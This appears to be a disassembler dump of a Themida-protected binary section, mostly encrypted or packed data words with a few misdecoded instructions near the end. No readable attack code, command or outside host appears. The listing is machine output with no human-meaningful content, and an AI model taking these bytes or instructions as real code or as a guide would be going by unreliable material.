dd 49EEFC20h, 932970E6h, 748808F8h, 9F3C3305h, 0BB0138C1h
dd 43FB5E10h, 820BA57Fh, 9E7FE87h, 3CE4707Dh, 1C5D6E1Bh
dd 49149D2Eh, 0E6102C78h, 287902C0h, 50588B7Eh, 2901B8E3h
dd 80C036E4h, 90925F5Bh
dd 0BC625E03h, 0E09610C1h, 2E7F0218h, 324F59Bh, 4D82757h
dd 663951E0h, 58FE9130h, 0B87A14C7h, 0B8EF6132h, 6280DB6Dh
dd 11444004h, 2BAF6E10h, 7162CE3Ch, 4624650h, 879FF471h
dd 1827D20Dh, 9016C021h, 0FC8C20F0h, 0AAE7CE01h, 2CA6726h
dd 8C24DDD1h, 0D0BE4EE5h, 235B11F4h, 8476D325h, 90D18488h
dd 0E0301AFCh, 4EC5251Bh, 364CF466h, 0DF1B0BCh, 1185055Ah
dd 0C75FB032h, 0F0D0E317h, 375E8FA0h, 75DCD24Dh, 47B5E600h
dd 7D4886C8h, 0BB8C007Eh, 25D742F7h, 460103A1h, 0D9FAEA60h
dd 4C59AC9h, 95373C34h, 3404FC0Bh, 3E88A680h, 5E418E89h
dd 0C9C84975h, 0C2C0CDB8h, 2EFF25C9h, 2A2D6C44h, 3D7C0059h
dd 0EE95FDEAh, 0CBE5C02h, 7DACE0D3h, 0F2C2C741h, 965C0308h
dd 4D9DBD2Dh, 0CAF5C9C3h, 0B1D3098Ch, 862827A4h, 0C1E62BA2h
dd 24F863D1h, 5892C6h, 0A7B98221h, 0CB68C2ADh, 3BD0E501h
dd 468FAA0Ah, 0F5E25EF4h, 16E35080h, 0F646D45h, 0CBFF3600h
dd 0DE5E9046h, 3440BCB6h, 735C0840h, 69972A0Ch, 64CA860h
dd 43F094ADh, 0ABE867FBh, 9CB6DA8Dh, 4808BF14h, 133E7E44h
dd 4A4EFF64h, 71E758A0h, 4D58C9B4h, 987AAC09h, 66D1BD13h
dd 7D1CC8B4h, 0E627436h, 0D325DF06h, 861E6D02h, 5E18C06Ch
dd 0ECC0D679h, 8D6906E6h, 0BE37E4C8h, 0C0F44CABh, 0F096CE3Ch
dd 2861BA00h, 0E3CF8BFEh, 5C852865h, 0F04061E0h, 0D831901Bh
dd 0D760A4E7h, 3A5D9BA1h, 48DF7C12h, 9C011842h, 33771C8Bh
dd 14042E69h, 1EFC666h, 814184A4h, 67B04325h, 859D04E1h
dd 803D4B48h, 27D348E0h, 0DC8B96F6h, 0ED3524EEh, 54801160h
dd 60106E66h, 91CF1054h, 7CBADF67h, 0A15E300Ch, 3C02E0EBh
dd 0BB2C9868h, 0C1FB808Ch, 0BA10CE9Ch, 2831AE3Ch, 3050869h
dd 0B4D2DAB2h, 5413B402h, 0B998CE63h, 3CEC0B8Ch, 0F76D9468h
dd 924944Dh, 583165EEh, 84D55CE8h, 7833B022h, 78ADD85Dh
dd 0A45825BEh, 0B0F090C4h, 0B67421C0h, 5357AC5Eh, 184C34C8h
dd 0C4E8EB08h, 4FB8A114h, 0C08C4835h, 0AE5D1D9Ah, 5391D7B1h
dd 500C18FCh, 6E388A93h, 14314A9Bh, 0E43D354Ch, 9C44CA27h
dd 0D8E1E088h, 0C1F8139Fh, 0C205AD4h, 9CE45937h, 24C36D0Bh
dd 25764880h, 1C7461EDh, 0C938E2B5h, 0FC437A54h, 70F82A0Bh
dd 889A00F0h, 0FDE97C91h, 0C67C19D5h, 35A4D317h, 0D437B0C2h
dd 577CC3E0h, 0D0467830h, 6312E4h, 73CA39E7h, 4A90E23Ah
dd 3389FB03h, 0B70AECh, 0BA6CC111h, 5CC63DB4h, 5D4C01B7h
dd 60335BEBh, 0FD259059h, 0AB584B8h, 0A6812494h, 2FCCE8Dh
dd 94400C3Ch, 0D4C459B2h, 280EFA18h, 0CD1D9DBBh, 948E02A5h
dd 0D54DC012h, 4DDDDF5Dh, 0FE3CB08Dh, 0C858300Bh, 0FD027073h
dd 71E7AEDEh, 81123C3Ch, 101CE37Fh, 8B0F1DFBh, 0BF0B6E87h
dd 46FE4085h, 119D5BE4h, 3265D312h, 6231BC43h, 72DEB0BFh
dd 0A7021637h, 7CDF00A4h, 0FFAD7E9Ah, 0C3EBA82Eh, 0DB928F05h
dd 3420DCE5h, 0A59A1E03h, 5B42679h, 80203B15h, 0A368CB4Ch
dd 7DF52B03h, 0B84DAB96h, 0BC3D5DA8h, 6C0202B4h, 20E09EECh
dd 4D80CEE3h, 176112A4h, 942CF2FEh, 5CC82274h, 0F01944Dh
dd 35EB284Eh, 0C51980ACh, 0FED5B36Dh, 0CEBCA8CFh, 0DEFB2CDAh
dd 888C9704h, 795CFEB8h, 0DB0400CCh, 668D68CDh, 88D261FAh
dd 2BD341B5h, 48AE5092h, 0D6D5C8C8h, 0DAF40211h, 54426D4Fh
dd 8B860C0h, 74DD0345h, 0ADD034h, 0FEED8F56h, 0D9028316h
dd 0D7AA6212h, 5A48F8B0h, 0B59C42DCh, 4C609DBAh, 68BA1110h
dd 36502804h, 0C0E2D2B9h, 0C8C2E785h, 9FF866ACh, 0D3102195h
dd 4824A2A1h, 0FF88FE8Ch, 44904F2Fh, 0C6900012h, 29C3FB53h
dd 23D9413h, 30AAF80Fh, 4B65E709h, 4C0704F0h, 0D202E94Fh
dd 0B2E2F870h, 98504C5Dh, 50C4C450h, 11805Fh, 0BD866722h
dd 0A6292E9Eh, 7B7AAC7Ch, 499A0200h, 0C2C01D05h, 79BF0766h
dd 30E5CE77h, 555A7887h, 677E3100h, 1716F0FDh, 0D920205Eh
dd 6CA6D49Ch, 1513DD10h, 3B80C039h, 6509A0FEh, 5181A59Dh
dd 200C2028h, 0BEA442h, 9A9B1889h, 0ED84C50h, 0F9E7C0E5h
dd 79F8887Bh, 0F10907BCh, 0A02DDACCh, 6272BEC0h, 0BBA132FBh
dd 0AC601A24h, 21FCC228h, 6E697B04h, 41BF1738h, 9E596800h
dd 3338201Bh, 5E65C512h, 71012C49h, 0C212B908h, 411453A6h
dd 0DF7F0BFCh, 0C7BC8D6h, 90BE7CB0h, 4AA0B342h, 0EF987EBCh
dd 20C80036h, 0E45DA3C3h, 13DD4BCh, 0D351D66Dh, 0D440601Ch
dd 90427265h, 43089400h, 0CCE1C29Dh, 5DE6E005h, 0F49F5327h
dd 0F2840748h, 0E9B40F7h, 0F81F7AB3h, 220CDD29h, 0F258C85Dh
dd 17D70030h, 0F34BAA67h, 80E44E52h, 565FEA00h, 12BADC9Ch
dd 0A8880160h, 0CAE77186h, 1A0C4EEh, 9CF89Fh, 0F915545Dh
dd 0E09CB29Eh, 84B2F28h, 37273598h, 9D20FCE2h, 7AB5039Bh
dd 880062EDh, 0A5664BF7h, 61C34DBFh, 3CC550B3h, 1330801Ah
dd 0BD63EA88h, 664131BFh, 0BE3A3908h, 37516090h, 0CBD413C6h
dd 0B88011F0h, 0CEF41FDEh, 5033B530h, 1D03865Ch, 0CEAC516h
dd 0CEB82CC0h, 20CAE130h, 0C926FD3h, 2E54C6BCh, 9F001B78h
dd 811A3309h, 0DF95A367h, 0F0790F28h, 5056B879h, 0AE199F68h
dd 0B511E400h, 0EC011A9Ah, 0BF6E06EDh, 3043237Ah, 0C6B09C06h
dd 148E75Ah, 35A7CCEFh, 0FDCEEEE3h, 5F608025h, 96C9F7Eh
dd 498418B5h, 75D2A90Ah, 0EE59A00h, 453BFA8Ch, 234F03E9h
dd 0D8C4EF49h, 0E8F77AC8h, 0B70090DDh, 0CF37B501h, 58326216h
dd 0A081AD63h, 9FC2EF45h, 9C01980h, 3AF27766h, 0CEB7039Ah
dd 59E741E4h, 0D16C0295h, 786384EFh, 0E9719AC0h, 6EEBB404h
dd 308896BDh, 17A4A11Eh, 1A399840h, 1831E8A7h, 0F85D617Ah
dd 5E00C592h, 7C3BA580h, 0C366F208h, 0E947B1E0h, 9EC0F4DBh
dd 0F171FDA7h, 86B47918h, 14CFCC38h, 0B417A3C6h, 9D70373h
dd 3ABFB568h, 0E9A005C3h, 0F7614AC5h, 0A26780D1h, 497AD44Ch
dd 3C1880E4h, 0C969C0C1h, 2249501h, 0CF944801h, 0BC108271h
dd 50DC9F55h, 7C7480BCh, 7191052h, 0C0813ED4h, 3EF7E212h
dd 38F4B203h, 1112FA24h, 6E442087h, 8414B4E1h, 1DC35E3h
dd 0A4EECB16h, 0E1F73BD7h, 188367ACh, 367C5E43h, 0EBDDB412h
dd 0EE2E00EFh, 2653DE0Fh, 5F58EA64h, 12300025h, 0E4060186h
dd 84CEC50Ch, 31B8A3h, 8E2C714Eh, 0C4DB1C9Ah, 1640E207h
dd 0E594565Eh, 0D4C39200h, 0CB795C6Eh, 0C059E600h, 66A3A0E8h
dd 0CDB700A2h, 9091F216h, 8A0CA67h, 8091CF1Bh, 0F454E1C0h
dd 0CDD00252h, 0B3E4C62Eh, 9BFC0A0h, 0CCA19560h, 9D02639h
dd 22ABCA4Dh, 33E30ECh, 3040AF1Bh, 0CC0066BCh, 0EF9BAD31h
dd 17193B1h, 6EEEB519h, 415E12C0h, 40A06624h, 5A9AE344h
dd 0F6280178h, 0F709BC74h, 2C2204CEh, 90708878h, 0F29A3884h
dd 38842C05h, 0A1E401C0h, 0C8890B69h, 6700545Eh, 0C4A5B2CEh
dd 18EC38BFh, 70DFD01Ch, 0A73644E5h, 0A4B0E1FFh, 58674C3Ch
dd 95A16805h, 1BD80A2Ah, 1A430980h, 52C68401h, 0C4388999h
dd 0F78C03B7h, 79881326h, 1C7C4E0Ch, 0E1E4F960h, 8905DE0Dh
dd 12012226h, 9E68FC30h, 3988F795h, 0F51F0C7Ch, 1C92C601h
dd 0A980E1D2h, 0CEBFCD65h, 10C0B517h, 0B0EE2C99h, 92D60B3Ah
dd 0C400D4BBh, 87EC3CABh, 0F19E61E7h, 8445C494h, 4C7CE424h
dd 0F72E4B03h, 0A336A3F9h, 3233C3F0h, 0E89912B8h, 0E73B802Fh
dd 0C1682184h, 5EC64438h
dd 47EC4036h, 0D5380E01h, 76CE8BECh, 551024A0h, 0C11C18C8h
dd 4D0DCB50h, 988EDA03h, 38A7E8E1h, 66DC4106h, 30E423C9h
dd 70F479BAh, 1EB400F9h, 6991E1AAh, 5713603Fh, 0BC016C9Dh
dd 0F7010A26h, 82190FDh, 48368020h, 2E0C8473h, 9C819D4Ah
dd 24ACB360h, 600EC6CBh, 8511B813h, 0E73F5894h, 7AB605FEh
dd 0B8003F6Dh, 0C173D01Bh, 0ECF2670h, 7D5E8AC4h, 5241368h
dd 90167AF8h, 0E3CF5CACh, 9D55E203h, 0EAD86EB4h, 0F1BCC1AEh
dd 5EC8318Bh, 401ED019h, 9C719E4h, 917C9A50h, 94718526h
dd 0C26EF004h, 9966A898h, 38179874h, 0AF671839h, 351F7A08h
dd 10AA24B4h, 8450214Eh, 0D84014DEh, 99FA9Eh, 0AA94F98Ah
dd 0C1F0D4A4h, 5E3F6312h, 65F6ED00h, 0F0A69C96h, 8408A07Ah
dd 50F569DFh, 0DC0574A9h, 134409A1h, 0C5658482h, 0C7704440h
dd 92183A80h, 21146A80h, 96360C9Ch, 3F0BE0AEh, 2021447Ah
dd 0F938C390h, 102C6413h, 48AC8224h, 84186464h, 0A6C02B6Fh
dd 40975CC6h, 833FA800h, 0F66A0E39h, 0EAAC6E01h, 6A6A3F1h
dd 2EC664F0h, 0A10CCF03h, 0D0CE84A0h, 1C4204C0h, 1A2D4080h
dd 664E127Bh, 0AA85605h, 4EA0A234h, 6D048E81h, 0FE2DF0ECh
dd 9CA7BB01h, 8095C6CDh, 1CE96083h, 3BE024D5h, 7A1832F7h
dd 0C8C9077Ch, 803D72C6h, 0A4B065B9h, 0A4A064A4h, 188141BAh
dd 284B6434h, 20A49D68h, 0A898B544h, 0C0DD9330h, 0A06840F5h
dd 146638B4h, 54A91C74h, 2C52C458h, 1C74222Ch, 0C6A787EDh
dd 9E676094h, 4B00CF8Eh, 0D9CD825Eh, 4963C243h, 3448A0E5h
dd 2B401326h, 0C834A4D8h, 9A4B008Ch, 0B6CEF6C7h, 66D08150h
dd 0A6036E11h, 50096476h, 54DB23EAh, 87F81CB0h, 0CE70EC2Ch
dd 280C6034h, 54F07A36h, 0F007A8A2h, 0EEDBC008h, 0D7403144h
dd 1349019h, 0BBBD3E98h, 70661224h, 0F0099BEh, 0AF63C867h
dd 3C87F0F6h, 9230696Eh, 0E4D49848h, 88C6321Eh, 84E00CA0h
dd 99C80C41h, 0DB43E603h, 0C1E9C015h, 0A47168BEh, 19946008h
dd 1148CEA4h, 56749937h, 0C04526A8h, 1650CC83h, 1170F310h
dd 7909FC6Ch, 10286507h, 22F813BCh, 68C9EF50h, 94A0431Ch
dd 0AC1B692Eh, 0C2CC5E14h, 0E6ECB803h, 4DF0003Ch, 4E1AA540h
dd 882E623Ah, 731D042Bh, 8E96EB8Bh, 0E9978010h, 0A79661Fh
dd 7287CEF8h, 290A01E0h, 60EC7CB9h, 5746EF0h, 0A666E800h
dd 0E0F3F99Eh, 0ED840751h, 0A0C5525Dh, 0AD9CFB31h, 1EEA3600h
dd 6579DFA6h, 68E9C083h, 5C8495CCh, 48A45051h, 313E3C68h
dd 12DB18F0h, 0C66618h, 5C97C545h, 9E3F68C2h, 5C4765Ch
dd 571F7AB2h, 44AB9492h, 160F4040h, 0CE1F3090h, 77FC0111h
dd 0A270DC40h, 0F67C4C9Ch, 10F94954h, 47F4E282h, 2B5E3CC0h
dd 0D1F00600h, 0B4D5C066h, 10E84801h, 0A41850h, 1202A1E6h
dd 0E0BFEC8Eh, 390F1C05h, 44989FB5h, 14042AF8h, 186C98E4h
dd 100E4C7Ah, 1E728654h, 0AE1E0A7Fh, 0B6C06C88h, 6BA98C12h
dd 0CF7A09E1h, 44A028A6h, 0B7EB013Eh, 4BF1021Eh, 80C2E28Eh
dd 0DC1CF723h, 0E0C44866h, 0BD16CB08h, 8C698700h, 748B9243h
dd 0B8961844h, 0CF731041h, 6C009E4Ah, 7728999Ah, 8DC20027h
dd 0F563DE44h, 1C2EBC6Eh, 0CE42C0B7h, 65D0E990h, 669ED442h
dd 57C7228h, 9CDCC344h, 0B98C4B0h, 0C8B1F408h, 0C6508517h
dd 0A882378Fh, 84071F8h, 6609EAAAh, 8AFC19A4h, 96CD63ECh
dd 0E0CE41ECh, 352080DFh, 0D0139392h, 24D1C01h, 49D3D7C6h
dd 0BC8F23FCh, 0F613FEC8h, 3E13443h, 68692E3Dh, 6D840420h
dd 0BF48D071h, 0A0B15D12h, 0AFC99F90h, 0AD062C68h, 41D17A14h
dd 0E9A01AE0h, 0CCCC4931h, 0E8C382E3h, 80CB72F0h, 43025D11h
dd 0CEE7100Dh, 94BCA063h, 0C28E4D1h, 715CBA3Eh, 0C7308440h
dd 337B50F8h, 0CD824F9h, 794E631Ch, 20EF21D1h, 9A054A78h
dd 0BCC64D5Bh, 791BA44Ch, 89D5520h, 2D1AE010h, 446B24F0h
dd 813E9284h, 89536DCh, 25583079h, 0D09DEB70h, 30CDA400h
dd 2484690Ah, 621A04A9h, 0E08D76CFh, 0FC9B5934h, 0CE04CCACh
dd 5E12A414h, 0EBF30CE8h, 0F478C111h, 0C2EEC20h, 58627A3Bh
dd 7EB0FA70h, 80B24870h, 64438909h, 50D04AC5h, 0F6E700C8h
dd 84EC3C38h, 0DCA05F36h, 0E90A3135h, 0E4461C03h, 54139CA6h
dd 97FC88h, 0F3F5AE8Fh, 0E4C85CDAh, 0EE7D5100h, 0D01C6BD3h
dd 7BDB2EF1h, 6080396Ch, 0A0C20EA4h, 5D3B1986h, 0E6AD85E8h
dd 8008758h, 0CEF5EEC5h, 881E4806h, 0E1DC0BDEh, 0C4401892h
dd 0CA40EC45h, 6010C119h, 976E9F7Dh, 1C30F0D0h, 99D1BCC5h
dd 0EAC68640h, 0D20910BEh, 9260F284h, 967CEE90h, 8FC26D0h
dd 0FA07E72Bh, 0D04A25CEh, 777DC606h, 9B0B128h, 0BC0503E8h
dd 249C8110h, 7BDD000Fh, 5FD1011Ch, 67E8FBC0h, 0C6067BDh
dd 60C26279h, 0C4E600F6h, 86F73296h, 3776F897h, 74204E4Ah
dd 16923AD0h, 1BC6406Bh, 0FC0187Dh, 0E300E10Ah, 9B1BD556h
dd 638E6C0h, 0FDCEA3B5h, 989468C8h, 0C6370160h, 40A3616Ah
dd 0A6EE08F8h, 19018461h, 0E6C63874h, 3EC2182h, 8E8E2CBh
dd 580B4C8h, 26C496EDh, 58F053C8h, 3F0909D5h, 8B48E6B4h
dd 843C23D8h, 0B81CF50Eh, 0C733E180h, 3B68DD18h, 0ECECEEDh
dd 1BE710A8h, 5E91D2D1h, 20CC7061h, 0C0831F48h, 1F3DB6CAh
dd 2492688Ch, 959D1064h, 36F0D898h, 0B79F30C6h, 3BFAE498h
dd 0D04D5CF0h, 49B2401Ch, 0E7024501h, 4FB7AA7h, 26CEA064h
dd 80C0DB7Fh, 1EEC6383h, 0BB00C495h, 9269637h, 39CD4AFh
dd 0BE1C0AD5h, 80A420B7h, 0F8E53218h, 9A6B1096h, 29C717Ch
dd 17AA7A39h, 391254E9h, 7043933Ch, 482884h, 0B8ED11F8h
dd 0E2ECEA63h, 21CDE1F9h, 1C302044h, 0FB4F171Dh, 6B564040h
dd 601584F7h, 0B06D381Bh, 2A60147Ah, 3ACD9C68h, 0F3400196h
dd 0C584CA04h, 18203961h, 0B8B0E1BCh, 90390073h, 0DBB19995h
dd 9A30845Ch, 54E498E7h, 4C3809ADh, 7C006436h, 0C1027A79h
dd 0CEF9B8C1h, 0F8891D0Ah, 94A17044h, 966F9479h, 14122280h
dd 34A3004h, 2DA52003h, 85B82CC1h, 8F453BD0h, 0BCED9C45h
dd 0AC8A1EC7h, 0A7A3A05h, 74049852h, 2C051520h, 7C00A212h
dd 18BB9930h, 2E01F608h, 0AC14F171h, 248E0890h, 30A79900h
dd 7A665F44h, 0B11B03A8h, 5B0D7A34h, 9E522002h, 0A0C909C6h
dd 1D6084E0h, 0CEEA0C73h, 9D60D4C4h, 0B8F07672h, 1086F4Ch
dd 0CF89C243h, 5434BCBDh, 909F5492h, 0F1E34081h, 0BE34A305h
dd 20C00186h, 2153D61h, 0C63AE991h, 3C68F1E4h, 0DEF03979h
dd 50D4B959h, 6800D30Ch, 6A0EE122h, 80690284h, 8226C641h
dd 9582448Ah, 60D3B7DDh, 3E1E2C4h, 50515354h, 602637A1h
dd 0E9025009h, 81DB6484h, 0ADD4EB8h, 0CE822C2Ch, 7C442707h
dd 0BA208400h, 0D0AC1CF4h, 4BF3260Dh, 48111B3Ch, 0C3496298h
dd 0EEDE2702h, 53D71CD6h, 0C8833C90h, 5F1BF11h, 72A5BE0h
dd 0A8F8377Ah, 3C635207h, 0F94CC6AEh, 0FE683AF8h, 0BC9EC858h
dd 0C1953580h, 7A182DD3h, 803E7B2Dh, 0A7BF04FCh, 0BB1603C5h
dd 68D624ECh, 9144DCBCh, 2E3E6203h, 24D4677Ah, 0D74F558h
dd 42A18FAFh, 0BC4C362Ch, 209E6628h, 0DD3FF83Fh, 22398E10h
dd 40E8A41Ch, 3F47F8F0h, 5C00C9A6h, 0DD11EF5Fh, 84F0C5E6h
dd 787008A1h, 6B081024h, 6D454B00h, 0D571CEF6h, 7E322492h
dd 324109Fh, 6CC17B5Fh, 78A868F1h, 35DE840h, 8557837Ch
dd 5EE1EBDAh, 4018870Bh
dd 8282CD90h, 3444416Ah, 143DA861h, 0EECC6E00h, 0E23CDE9Ch
dd 0F490D8B4h, 0C0B2C4h, 0CD24E83Ah, 21584F5Eh, 6CE1AD8Ch
dd 0C5A6C0FCh, 485984A1h, 0A70B20CEh, 0B80199BDh, 0F1CB9674h
dd 668C209Eh, 0C781D200h, 601222B5h, 9147F27h, 6EFECEFDh
dd 0FC609829h, 0F658DE45h, 4031C9D0h, 59B1C68Ch, 8600A822h
dd 23E12E93h, 521665BEh, 8409984h, 0EDB3F86Fh, 11BF006Dh
dd 8FDBE95Dh, 9F09679Ah, 83012194h, 8758CB38h, 80192583h
dd 0CC823E3h, 0E49E535Dh, 0A8371B30h, 628038E0h, 3A40BEACh
dd 74739467h, 32CF00A0h, 0CDB0DFF5h, 28C5E5F0h, 2000545Ch
dd 1AFFE929h, 420807BEh, 41AD509Fh, 0E03EB7F8h, 0C5F8A619h
dd 30726437h, 0DA4D7D80h, 0C448C2DCh, 0C00FD5F7h, 6CEA7857h
dd 73CD18EFh, 0E32520F0h, 0E35548h, 0C7B5AF29h, 287D61h
dd 599D5B5Dh, 0D81BF09Ch, 6ACBE001h, 7DADC53Ah, 14EA509Fh
dd 43076CA9h, 0C0E5111Dh, 3008C618h, 0AA50B4B0h, 7C505C10h
dd 47812368h, 0A99B0841h, 70CD8858h, 48C16310h, 6FE3BC0Fh
dd 0D691B480h, 7B64418h, 7108AE69h, 3B833F2Ch, 92998F83h
dd 7FC1680Dh, 6D7894F5h, 0F32050E0h, 438E703h, 0E485C5h
dd 1C754978h, 0A58B62Ah, 7341A407h, 0B00CB0CEh, 49782Ch
dd 59B47407h, 1CE64F89h, 0E9AB0E00h, 0ADAAAC1Bh, 22FB0181h
dd 2ACE7187h, 993881A1h, 532AF83h, 4391D4h, 628B7F5Dh
dd 0DF9BCD5Ah, 0BECC671Dh, 303028A4h, 1992B139h, 10E9CBCEh
dd 0CDF8C45Bh, 5C80AA7Fh, 419E0C57h, 467896C1h, 314C950Fh
dd 9506965Dh, 118BB14h, 0EEA4AE44h, 81B6DCC4h, 0CE5F18E0h
dd 4881F264h, 89E1F2Fh, 0E8B4425Dh, 0F06F6448h, 6DEAB305h
dd 0C82095BCh, 9013FB83h, 654C18C0h, 0A46440F7h, 9196BE02h
dd 9CE3F79h, 0A5272C00h, 0E8247015h, 0C4C208B3h, 0A7B4AFDEh
dd 50ECF183h, 56C30365h, 0F8352DF5h, 0AC3806C5h, 0A3302164h
dd 0D6161992h, 0F6380E08h, 0F414116Dh, 1BB34710h, 2808CB66h
dd 80D728h, 0DF918B79h, 34F988DDh, 13312D79h, 35F260DAh
dd 0F8BE04D1h, 506784D4h, 40D5C4B4h, 7E095C15h, 0E22518h
dd 0C4DBD648h, 5F4224BEh, 98CD1DC4h, 795C707Ch, 3E65532Eh
dd 35AF2200h, 24B6D90h, 4D5DB836h, 989BA094h, 0C13BC5F8h
dd 9010A8C0h, 12CAD79h, 0EECBE667h, 0BF667D83h, 11BA80F8h
dd 8A306168h, 0CA6502FAh, 0D2E46E0Bh, 0F248B860h, 0A59F8B1Fh
dd 0D31B9800h, 630777h, 1E7E5D2Dh, 0C31CA80Ah, 913AD500h
dd 879D668Bh, 65413F8h, 0FF2B04EEh, 0F14C1C0h, 0E9F8889Ch
dd 87DC00B4h, 0BDD40DF9h, 0AB7EF5FAh, 0E643C8F1h, 805E20CAh
dd 9444A03h, 0BE32F3A8h, 0A0665018h, 94C82065h, 4430C8A4h
dd 25781190h, 8FDC0631h, 18304C02h, 0B3E06D04h, 8902783h
dd 93C7A5h, 10E3D05Bh, 0AB451385h, 2E2ACDF8h, 0B1C5A4FDh
dd 0C0016641h, 3B9E7F5Fh, 48EEE849h, 801F48A8h, 5830792Eh
dd 0D11B7847h, 8027E9E0h, 1D100992h, 0CA105C04h, 5E8309F0h
dd 1824A4FAh, 145704C0h, 0E5A2006Bh, 0BC9BEFD3h, 0D2020209h
dd 1378E4BFh, 246867BEh, 0CC62C484h, 0FFFE8368h, 5D3D18C0h
dd 3EFD1782h, 6415CB61h, 3A8C9826h, 0D5066C29h, 0DC4CF4EBh
dd 90035051h, 8C0906Eh, 9589CDEAh, 2242631Ch, 0E01BC5C2h
dd 0EA4DDB76h, 0A5CB3C24h, 505FAB80h, 84DDCEAAh, 0C138319h
dd 28203E70h, 72201228h, 8D3400A9h, 4F6F9B2h, 0E9835E0Dh
dd 0C19D286Bh, 8F9C47A9h, 132DB0CEh, 6448E986h, 9434009Ch
dd 313FC9AAh, 70603119h, 8304D8C9h, 0B4C53640h, 1098000Fh
dd 0AD3C9867h, 0D10365EAh, 44F9D57Dh, 5B59E011h, 0A87C22h
dd 0B6E26BC9h, 7084B8F2h, 0DCB4082Ah, 603FC0A1h, 567E82B8h
dd 3983D909h, 1F1490CAh, 677FA5h, 0BC249111h, 57E65C2Ch
dd 439EB415h, 0C53B1ED4h, 0D449E1D2h, 6B041187h, 0C4F66894h
dd 0C057FF86h, 0EAC53F0Ch, 0B14A3073h, 67BB8964h, 8ECDFC02h
dd 0CE438448h, 5090FF49h, 70046540h, 0DD9CCDECh, 3CACA493h
dd 0EC00D30h, 241022FBh, 180B601Dh, 81740EB6h, 0BF99CE6Eh
dd 65362897h, 0E864C048h, 7918383Dh, 0F918FF20h, 0D0A14865h
dd 0A80D168Bh, 2080B120h, 0A301247h, 0DD300206h, 0F658367h
dd 0E9A1C468h, 1F0BCB03h, 0D03B7787h, 24909FFh, 2B806104h
dd 10407EADh, 2C004D78h, 0F88505BCh, 1879C4E5h, 80DC65EBh
dd 0EF4C303Bh, 248052D0h, 6B12E05Eh, 8883A809h, 3500D422h
dd 609DF444h, 2018B03Dh, 6D581F31h, 18252E50h, 592B7806h
dd 0C1FC8B58h, 8481AF9h, 1B21C0D2h, 55944CD4h, 3CB85FE0h
dd 80E5E0ABh, 0A5D1CD24h, 5568ED62h, 0E1400162h, 0E0945093h
dd 0ACA8E753h, 791AA3E5h, 1210FCE6h, 2EE400C8h, 0B26E6419h
dd 74054D3Dh, 5021D611h, 0B10353C8h, 0CDA5575Bh, 60C08C77h
dd 0C7EA39h, 0AF89EB68h, 0EDE6ABE5h, 9A5A4C2Ch, 0DB36F000h
dd 0C5F68783h, 21A26580h, 236010E0h, 0CD80774Ch, 586360B5h
dd 0B21A7B91h, 8F04CF7Dh, 665D5C04h, 83139C80h, 39EE68EBh
dd 18099CA8h, 7D44C81Bh, 4CD8AB4Dh, 4F606093h, 0E07B03F5h
dd 52DC073Eh, 0A0ECA81Ah, 7956D502h, 28F02234h, 95BF8D8h
dd 31CE8685h, 565CD4A0h, 0D201650Eh, 0C5D49AAEh, 0F8200B63h
dd 64BF00CFh, 19EAA9EEh, 5B00ED7Fh, 0F2530D1Ch, 7EBB66Dh
dd 0CE2FA71Bh, 7A5D3017h, 350F37A6h, 0ADE9B0Ch, 83040852h
dd 2081B51Ah, 0CAFDC538h, 7448C8BDh, 3500DC4Dh, 0A1EF7165h
dd 9475B441h, 25755C00h, 1BD412E5h, 0ACAD07DAh, 96C550CFh
dd 11294098h, 0CD1CB45Fh, 42D07E18h, 1896901Bh, 0C8027F44h
dd 0B50BA78h, 681847FCh, 1730B05Bh, 92ECBAD4h, 0D2C41788h
dd 0C56830E3h, 10C17F0Ah, 0B9DAD545h, 0F3A4DFCh, 14F5835Ch
dd 36A6EB0Eh, 4A2C80E9h, 800270AFh, 686C74C5h, 0C08CE34h
dd 2927934h, 0D45DBB80h, 24CD0B58h, 80942889h, 0EF837026h
dd 0D411C16Dh, 0D802A132h, 0A06502F1h, 0F54C3444h, 0F6B61710h
dd 7938E44Ch, 20615411h, 340781A3h, 715898B4h, 0C5A706A0h
dd 308547h, 0BE08FE9Dh, 335083A6h, 99891CB1h, 0C5401019h
dd 831A899Fh, 70792CD8h, 536828EDh, 0AAE53B38h, 628A244Dh
dd 6B40048Ch, 0BCA0D294h, 2AC26404h, 41D86267h, 3C2C5DF0h
dd 4B0801CEh, 3A4504Ch, 0C51DBAC0h, 1812C371h, 0B8C821ECh
dd 0C0B455AFh, 7C1920D2h, 0AA4A71CEh, 4F3ED041h, 5434C955h
dd 5C5E5010h, 72650436h, 1EE17883h, 8A17E840h, 0C9A441CEh
dd 0F0189940h, 5038D5Fh, 0AB4CF3D8h, 0ECD140E2h, 0A8353EA2h
dd 84B43C26h, 0B59533CDh, 18DC7254h, 3A68FCF1h, 0F4765865h
dd 2B1E9842h, 51EC8048h, 33E9CF91h, 120D5000h, 28089F7Ch
dd 83D00924h, 0FC4035CCh, 618AFE25h, 11F03848h, 1DD9DC5Bh
dd 30045C81h, 240C3302h, 8B63FCFAh, 19FD2810h, 101A6B2Ah
dd 2B0EFFBBh, 3F33FB01h, 347731CCh, 0FFF438EEh, 7D54688Ch
dd 4EC08924h, 8C3C62B9h, 54B1FA7Bh, 18530D7Ah, 3E1C8B59h
dd 1AC74EB6h, 7DD34FFh, 81F814F9h, 5750A0C4h, 86F130E9h
dd 33BA520Dh, 24B3E00h, 0AF6CA81h, 7D357682h, 0A52D03EAh
dd 5E2C140h, 17661200h, 0D789B27Bh, 5FE9195Ah, 0F9804844h
dd 41F74356h, 9C871030h, 0E83C895Ch, 13EA0BFh, 565F0CF9h
dd 291302BEh, 1810F148h, 89FAD432h, 0C68128E6h, 0EE833B19h
dd 5134871Bh, 0C688CE02h
dd 9B2E7068h, 53F1D084h, 0AE2853BBh, 48C3E90Ch, 0E7EC580Eh
dd 0CF316B60h, 0F5F82159h, 0C18010F1h, 0EBC02FF3h, 0B43C5007h
dd 0F4E4812Dh, 28E9DCF6h, 59A608DEh, 350CAC83h, 0DAE90C03h
; ---------------------------------------------------------------------------
loc_4E618C: ; CODE XREF: Themida_:004E61A5j
repne add al, ah
push ebp
mov ebp, esp
add ebp, 3DC6148Fh
cmp cl, [edx]
add [ecx-47h], dl
loop near ptr loc_4E619F+2
loc_4E619F: ; CODE XREF: Themida_:004E619Dj
db 2Eh
push 9400EB81h
jl short loc_4E618C
cmp eax, [ecx]
retf
; ---------------------------------------------------------------------------
dw 0AEE9h
dd 32260868h, 93D63143h, 84FBF9F2h, 0D4EC779Fh, 2973FB89h
dd 83B157E3h, 6D07E952h, 0D0300C1Ch, 0D8F6C287h, 23583CB3h
dd 879B04C7h, 99BFE74Ah, 23535457h, 57303D8Fh, 0C2E78B28h
